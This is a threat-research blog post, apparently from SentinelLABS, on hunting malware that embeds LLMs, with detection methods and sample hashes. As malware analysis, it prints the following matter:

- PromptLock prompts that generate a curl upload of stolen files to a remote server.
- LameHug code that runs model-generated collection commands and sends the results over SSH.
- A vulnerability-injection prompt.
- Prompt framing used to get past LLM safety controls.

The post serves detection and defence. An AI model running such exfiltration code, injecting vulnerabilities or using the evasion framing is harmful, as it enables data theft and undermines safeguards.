

Prompts as Code & Embedded Keys | The Hunt for LLM-Enabled Malware

Alex Delamotte :

This is an abridged version of the [LABScon 2025](#) presentation “LLM-Enabled Malware In the Wild” by the authors. A LABScon Replay video of the full talk will be released in due course.

Executive Summary

- LLM-enabled malware poses new challenges for detection and threat hunting as malicious logic can be generated at runtime rather than embedded in code.
- SentinelLABS research identified LLM-enabled malware through pattern matching against embedded API keys and specific prompt structures.
- Our research discovered hitherto unknown samples, and what may be the earliest example known to date of an LLM-enabled malware we dubbed ‘MalTerminal’.
- Our methodology also uncovered other offensive LLM applications, including people search agents, red team benchmarking utilities and LLM-assisted code vulnerability injection tools.

Background

As Large Language Models (LLMs) are increasingly incorporated into software-development workflows, they also have the potential to become powerful new tools for adversaries; as defenders, it is important that we understand the implications of their use and how that use affects the dynamics of the security space.

In our research, we wanted to understand how LLMs are being used and how we could successfully hunt for LLM-enabled malware. On the face of it, malware that offloads its malicious functionality to an LLM that can generate code-on-the-fly looks like a detection engineer’s nightmare. Static signatures may fail if unique code is generated at runtime, and binaries could have unpredictable behavior that might make even dynamic detection challenging.

We undertook to survey the current state of LLM-enabled malware in the wild, assess the samples’ characteristics, and determine if we could reliably hunt for and detect similar threats of this kind. This presented us with a number of challenges that we needed to solve, and which we describe in this research:

- How to define “LLM-enabled” malware?
- What are its principal characteristics and capabilities that differentiate it from classical malware?
- How can we hunt for ‘fresh’ or unknown samples?
- How might threat actors adapt LLMs to make them more robust?

LLMs and Malware | Defining the Threat

Our first task was to understand the relationship between LLMs and malware seen in the wild. LLMs are extraordinarily flexible tools, lending themselves to a variety of adversarial uses. We observed several distinct approaches to using LLMs by adversaries.

- **LLMs as a Lure** – A common adversary behavior is to distribute fake or backdoored “AI assistants” or AI-powered software to entice victims into installing malware. This follows a familiar social engineering playbook of abusing a popular trend or brand as a lure. In certain cases we have seen AI features used to masquerade malicious payloads.
- **Attacks Against LLM Integrated Systems** – As enterprises integrate LLMs into applications, they increase the attack surface for prompt injection attacks. In these cases, the LLM is not deployed with malicious intent, but rather [left vulnerable](#) in an unrealized attack path.
- **Malware Created by LLMs** – Although it is [technically feasible](#) for LLMs to generate malicious code, our observations suggest that LLM-generated malware remains immature: adversaries appear to refine outputs manually, and we have not yet seen large-scale autonomous malware generation in the wild. Hallucinations, code instability and lack of testing may be significant road blocks for this process.
- **LLMs as Hacking Sidekicks** – Threat actors increasingly use LLMs for [operational support](#). Common examples include generating convincing phishing emails, assisting with writing code, or triaging stolen data. In these cases the LLM is not embedded in the malware, but acts as an external tool for the adversary. Many of those are marketed as evil versions of ChatGPT going under names like WormGPT, FraudGPT, HaxxGPT and

so on. In reality they are often relying on ChatGPT with additional preprompting which attempts to jailbreak OpenAI's safety controls and policies.

- **Malware Leveraging LLM Capabilities** – Adversaries have begun to embed LLM capabilities into malicious payloads, such that an LLM is a component of the malware and provides the attackers with an operational advantage. While the other uses of LLMs outlined above have their interests, we wanted to focus on this latter category precisely because of the challenge it raises for detection compared to traditional malware. The rest of our research will focus on this form of “LLM-embedded malware”, and we will look at some examples of this next.

LLM-Enabled Malware | Notable Cases

There are not many examples of LLM-enabled malware in the wild. However, a few documented cases served to bootstrap our research.

PromptLock

Originally named and claimed as the first AI-powered ransomware by ESET in a brief [press-release](#), [samples of the malware](#) were first uploaded to VirusTotal on August 25. Although it subsequently turned out that PromptLock was proof-of-concept research [by a university](#), the samples can still tell defenders a lot about what such malware might look like.

The PromptLock samples are written in Golang, and compiled versions exist for several different platforms: Windows PE files, Linux ELF for x64 and ARM architectures. Among the prompts observed in our research, we can note that many incorporated prompting techniques to account for an adversarial context:

- Framing tasks in the context of a cybersecurity expert to make sensitive requests pass LLM safety controls:

```
Summarize the information which was found for each file in the context of a
cybersecurity expert, determining if there is sensitive information or PII in
these files.
```

- Identification of the target system which may change the overall course of action, and on-the-fly command line generation for data exfiltration.

```
Summarize the system information, include the home directory parameter
EXACTLY.
If programs exist, summarize important ones such as compilers, runtimes, or
antivirus.
Make a suggestion about whether this machine is a personal computer, server,
or industrial controller.
We need to back up several files to a remote server.
```

```
Generate code which uses os.execute to execute this command to upload files
to the remote server:
```

```
'curl -k -X POST "<server>" -F "session_key=<key>" -F "file=@<filename>"'
```

```
Please find the <server>, <key> and <filename> values attached below.
```

- Production of live interpretable Lua code, with specific instructions (detailed instructions from an experienced Lua programmer).

```
Generate a Lua script that prints all files in the home directory
recursively.
Required:
Use Ifs = require("Ifs")
Use Ifs.dir(path) to iterate directories
```

- Specific guardrails for the code generation, likely included due to the developers implementation challenges with incorrect LLM generations (“hallucinations”).

```
Avoid these common pitfalls:
```

```
- Lua 5.1 environment is provided with pre-loaded 'bit32' library, make sure
you use it properly
```

- Do not use raw operators ~, <<, >>, &, | in your code. They are invalid.
- Make sure that you keep the byte endianness consistent when dealing with 32-bit words
- DO NOT use "r+b" or any other mode to open the file, only use "rb+"

APT28 LameHug/PROMPTSTEAL

Originally reported by [CERT-UA](#) in July 2025 and linked to APT28 activity, LameHug (*aka* PROMPTSTEAL) utilizes LLMs directly to generate and execute system shell commands to collect interesting information. It uses the Paramiko SSH module for Python to upload the stolen files using hardcoded IP (144[.]126[.]202[.]227) credentials.

Across a range of samples, PromptSteal embeds 284 unique HuggingFace API keys. Although the malware was first discovered in June 2025, the embedded keys were leaked in a credentials dump observed in 2023. Embedding more than one key is a logical step to bypass key blacklisting and increase malware lifetime. It also serves as a characteristic for malicious use of LLMs via public APIs, and can be used for threat hunting.

Written in Python and compiled to Windows EXE files, the samples embed a number of interesting prompts, exhibiting role definition ("Windows System Administrator") and content to generate information gathering commands. The prompt also includes a simple guardrail at the end: "Return only commands, without markdown".

```
def LLM_QUERY_EX():
    prompt = {
        'messages': [
            {
                'role': 'Windows systems administrator',
                'content': 'Make a list of commands to create folder C:\\Programdata\\info and to gather computer information, hardware information, process and services information, networks information, AD domain information, to execute in one line and add each result to text file c:\\Programdata\\info\\info.txt. Return only commands, without markdown' } ]],
        'temperature': 0.1,
        'top_p': 0.1,
        'model': 'Qwen/Qwen2.5-Coder-32B-Instruct' }
    llm_query = query_text(prompt)
    theproc = subprocess.run(llm_query, shell = True, stdout = subprocess.PIPE, stderr = subprocess.STDOUT)
    T)
    prompt = {
        'messages': [
            {
                'role': 'Windows systems administrator',
                'content': 'Make a list of commands to copy recursively different office and pdf/txt documents in user Documents, Downloads and Desktop folders to a folder c:\\Programdata\\info\\ to execute in one line. Return only command, without markdown.' } ]],
        'temperature': 0.1,
        'top_p': 0.1,
        'model': 'Qwen/Qwen2.5-Coder-32B-Instruct' }
    llm_query = query_text(prompt)
    theproc = subprocess.run(llm_query, shell = True, stdout = subprocess.PIPE, stderr = subprocess.STDOUT)
    T)
    ssh_send('c:\\Programdata\\info\\')
    return 0
```

LLM prompts embedded in PromptSteal malware

Implications for Defenders

PromptLock and LameHug samples have some notable implications for defenders:

- Detection signatures can no longer be made for malicious logic within the code, because the code or system commands may be generated at the runtime, may evolve over time, and differ even between close time executions.
- Network traffic might get mixed with legitimate usage of the vendor's API and becomes challenging to distinguish.
- Malware may take a different and unpredictable execution path depending on the environment, where it is started.

However, this also means that the malware must include its prompts and method of accessing the model (e.g., an API key) within the code itself.

These dependencies create additional challenges: if an API key were revoked then the malware could cease to operate. This makes LLM enabled malware something of a curiosity: a tool that is uniquely capable, adaptable, and yet also brittle.

Hunting for LLM-Enabled Malware

Embedding LLM capabilities in any software, malicious or not, introduces dependencies that are difficult to hide. While attackers have a variety of methods for disguising infrastructure and obfuscating code, LLMs require two things: access and prompts.

The majority of developers leverage commercial services like OpenAI, Anthropic, Mistral, Deepseek, xAI, or Gemini, and platforms such as HuggingFace, Groq, Fireworks, and Perplexity, rather than hosting and running these models themselves. Each of these has its own guidelines on API use and structures for making API calls. Even self-hosted solutions like Ollama or vLLM typically depend on standardized client libraries.

All this means that LLM-enabled malware making use of such services will need to hardcode artifacts such as API keys and prompts. Working on this assumption, we set out to see if we could hunt for new unknown samples based on the following shared characteristics:

- Use of commercially available services
- Use of standard API Libraries
- Embedded stolen or leaked API keys
- Prompt as code

We approached this problem in three phases. First, we surveyed the landscape of public discussions and samples to understand how LLM-enabled malware was being advertised and tested. This provided a foundation for identifying realistic attacker tradecraft. Next, we developed two primary hunting strategies: wide API key detection and prompt hunting.

Wide API Key Detection

We wrote YARA rules to identify API keys for major LLM providers. Providers such as OpenAI and Anthropic use uniquely identifiable key structures. The first and obvious indicator is the key prefix, which is often unique – all current Anthropic keys are prefixed with `sk-ant-api03`. Less obviously, OpenAI keys contain the `T3B1bkFJ` substring. This substring represents “OpenAI” encoded with Base64. These deterministic patterns made large-scale retrohunting feasible.

A year-long retrohunt across VirusTotal brought to light more than 7,000 samples containing over 6,000 unique keys (some samples shared the same keys). Almost all of these turned out to be non-malicious. The inclusion of API keys can be attributed to a number of possible reasons, from a developer's mistake or accidental internal software leak to VirusTotal, to careless intentional inclusion of keys by not so security-savvy developers.

Some other files were malicious and contained API keys. However, these turned out to be benign applications infected by using an LLM and did not fit our definition of LLM-enabled malware.

Notably, about half of the files were Android applications (APKs). Some of the APKs were real malware, e.g., Rkor ransomware: disguised as an LLM chat lure. Others exposed strange malware-like behaviour, for example “Medusaskills injector” app, which for some reason pushed an OpenAI API key to the clipboard in a loop 50 times.

Processing thousands of samples manually is a very tedious task. We developed a clustering methodology based on a unique shared keys set. Observing that previously documented malware included multiple API keys for redundancy, we started looking from samples containing the largest number of keys. This method was effective but inefficient as it required significant time to analyze and contextualize the clusters themselves.

Prompt Hunting

Because every LLM-enabled application must issue prompts, we searched binaries and scripts for common prompt structures and message formats. Hardcoded prompts are a reliable indicator of LLM integration, and in many cases, reveal the operational intent of the software developer. In other words, whereas with traditional malware we hunt for code, with LLM enabled malware we can hunt for prompts.

Hunting by prompt was especially successful when we paired this method with a lightweight LLM classifier to identify malicious intent. When we detected the presence of a prompt within the software we attempted to extract it and then use an LLM to score the prompt for whether it was malicious or benign. We then could skim the top rated malicious prompts to identify a large quantity of LLM enabled malware.

LLM-Enabled Malware | New Discoveries

Our methodology allowed us to uncover new LLM-enabled malware not previously reported and explore multiple offensive or semi-offensive uses of LLMs. Our API Key hunt turned up a set of Python scripts and Windows executables we dubbed ‘MalTerminal’, after the name of the compiled `.exe` file.

The executable uses OpenAI GPT-4 to dynamically generate ransomware code or a reverse shell. MalTerminal contained an OpenAI chat completions API endpoint that was deprecated in early November 2023, suggesting

that the sample was written before that date and likely making MalTerminal the earliest finding of an LLM-enabled malware.

File name	Purpose	Notes
MalTerminal.exe	Malware	Compiled Python2EXE sample: C:\Users\Public\Proj\MalTerminal.py
testAPI.py (1)	Malware	Malware generator PoC scripts
testAPI.py (2)	Malware	Malware generator PoC scripts
TestMal2.py	Malware	Early version of Malterminal
TestMal3.py	Defensive Tool	"FalconShield: A tool to analyze suspicious Python files."
Defe.py (1)	Defensive Tool	"FalconShield: A tool to analyze suspicious Python files."
Defe.py (2)	Defensive Tool	"FalconShield: A tool to analyze suspicious Python files."

Aside from the Windows executable we found a number of Python scripts. The `testAPI.py` scripts are python loaders that are functionally identical to the compiled binary and which prompt the operator to choose 'Ransomware' or 'Reverse Shell'. `TestMal2.py` is a more advanced version of the python loaders with more nuanced menu options. `TestMal3.py` is a defensive tool that appears to be called 'FalconShield'. This is a brittle scanner that checks for patterns in a target Python file, asks GPT to judge if the code is malicious, and can write a "malware analysis" report. Variants of this scanner bear the file names `Defe.py`.

Despite what seems to be significant development efforts, we did not find evidence of any in-the-wild deployment of these tools or efforts to sell or distribute them. We remain open-minded as to the objectives of the author: proof-of-concept malware or red team tools are both reasonable hypotheses.

Hunting for prompts also led us to discover a multitude of offensive tools leveraging LLMs for some operational capability. We were able to identify prompts related to agentic computer network exploitation, shellcode generators and a multitude of WormGPT copycats. The following example is taken from a [vulnerability injector](#):

```
{"role": "system", "content": "You are a cybersecurity expert specializing in CWE vulnerabilities in codes. Your responses must be accompanied by a python JSON."}
```

...

```
Modify the following secure code to introduce a {CWE_vulnerability} vulnerability.
Secure Code: {secure_code} Your task is to introduce the mentioned security
weaknesses: Create a vulnerable version of this code by adding security risks.
Return JSON with keys: 'code' (modified vulnerable code) and 'vulnerability' (list
of CWE if vulnerabilities introduced else empty).
```

Some notable and creative ways that LLMs were used included:

- People search agent (violates the policies of most commercial services)
- Browser navigation with LLM (possible antibot technology bypass)
- Red team benchmarking Agent
- Sensitive data extraction from LLM training knowledge
- LLM assisted code vulnerability discovery
- LLM assisted code vulnerability injection
- Pentesting assistant for Kali Linux
- Mobile screen control visual analysis and control (bot automation)

Conclusion

The incorporation of LLMs into malware marks a qualitative shift in adversary tradecraft. With the ability to generate malicious logic and commands at runtime, LLM-enabled malware introduces new challenges for defenders. At the same time, the dependencies that come with LLM integration, such as embedded API keys and hardcoded prompts, create opportunities for effective threat hunting. By focusing on these artifacts, our research has shown it is possible to uncover new and previously unreported samples.

Although the use of LLM-enabled malware is still limited and largely experimental, this early stage of development gives defenders an opportunity to learn from attackers' mistakes and adjust their approaches accordingly. We expect adversaries to adapt their strategies, and we hope further research can build on the work we have presented here.

Malware Samples

MalTerminal

3082156a26534377a8a8228f44620a5bb00440b37b0cf7666c63c542232260f2
3afbb9fe6bab2cad83c52a3f1a12e0ce979fe260c55ab22a43c18035ff7d7f38
4c73717d933f6b53c40ed1b211143df8d011800897be1ceb5d4a2af39c9d4ccc
4ddbc14d8b6a301122c0ac6e22aef6340f45a3a6830bcdac686c755a7162216
68ca559bf6654c7ca96c10abb4a011af1f4da0e6d28b43186d1d48d2f936684c
75b4ad99f33d1adbc0d71a9da937759e6e5788ad0f8a2c76a34690ef1c49ebf5
854b559bae2ce8700edd75808267cfb5f60d61ff451f0cf8ec1d689334ac8d0b
943d3537730e41e0a6fe8048885a07ea2017847558a916f88c2c9afe32851fe6
b2bda70318af89b9e82751eb852ece626e2928b94ac6af6e6c7031b3d016ebd2
c1a80983779d8408a9c303d403999a9aef8c2f0fe63f8b5ca658862f66f3db16
c5ae843e1c7769803ca70a9d5b5574870f365fb139016134e5dd3cb1b1a65f5f
c86a5fcefbb039a72bd8ad5dc70bcb67e9c005f40a7bacd2f76c793f85e9a061
d1b48715ace58e3bfb7af34066491263b885bd865863032820dccfe184614ad
dc9f49044d16abfda299184af13aa88ab2c0fda9ca7999adcd44e3c037a8b1
e88a7b9ad5d175383d466c5ad7ebd7683d60654d2fa2aca40e2c4eb9e955c927

PromptLock

09bf891b7b35b2081d3ebca8de715da07a70151227ab55aec1da26eb769c006f
1458b6dc98a878f237fb3c3f354ea6e12d76e340cefe55d6a1c9c7eb64c9aee
1612ab799df51a7f1169d3f47ea129356b42c8ad81286d05b0256f80c17d4089
2755e1ec1e4c3c0cd94ebe43bd66391f05282b6020b2177ee3b939fdd33216f6
7bbb06479a2e554e450beb2875ea19237068aa1055a4d56215f4e9a2317f8ce6
b43e7d481c4fcd9217e17908f3a4efa351a1dab867ca902883205fe7d1aab5e7
e24fe0dd0bf8d3943d9c4282f172746af6b0787539b371e6626bdb86605ccd70

LameHug

165eaf8183f693f644a8a24d2ec138cd4f8d9fd040e8bafc1b021a0f973692dd
2eb18873273e157a7244bb165d53ea3637c76087eea84b0ab635d04417ffbe1b
384e8f3d300205546fb8c9b9224011b3b3cb71adc994180ff55e1e6416f65715
5ab16a59b12c7c5539d9e22a090ba6c7942fbc5ab8abbc5dffa6b6de6e0f2fc6
5f6bfdd430a23afdc518857dfff25a29d85ead441dfa0ee363f4e73f240c89f4
766c356d6a4b00078a0293460c5967764fcd788da8c1cd1df708695f3a15b777
8013b23cb78407675f323d54b6b8dfb2a61fb40fb13309337f5b662dbd812a5d
a30930dfb655aa39c571c163ada65ba4dec30600df3bf548cc48bedd0e841416
a32a3751dfd4d7a0a66b7ecbd9bacb5087076377d486afdf05d3de3cb7555501
a67465075c91bb15b81e1f898f2b773196d3711d8e1fb321a9d6647958be436b
ae6ed1721d37477494f3f755c124d53a7dd3e24e98c20f3a1372f45cc8130989
b3fcb809984eaffc5b88a1bcded28ac50e71965e61a66dd959792f7750b9e87
b49aa9efd41f82b34a7811a7894f0ebf04e1d9aab0b622e0083b78f54fe8b466
bb2836148527744b11671347d73ca798aca9954c6875082f9e1176d7b52b720f
bdb33bbb4ea11884b15f67e5c974136e6294aa87459cdc276ac2eea85b1deaa3
cf4d430d0760d59e2fa925792f9e2b62d335eaf4d664d02bfff16dd1b522a462a
d6af1c9f5ce407e53ec73c8e7187ed804fb4f80cf8dbd6722fc69e15e135db2e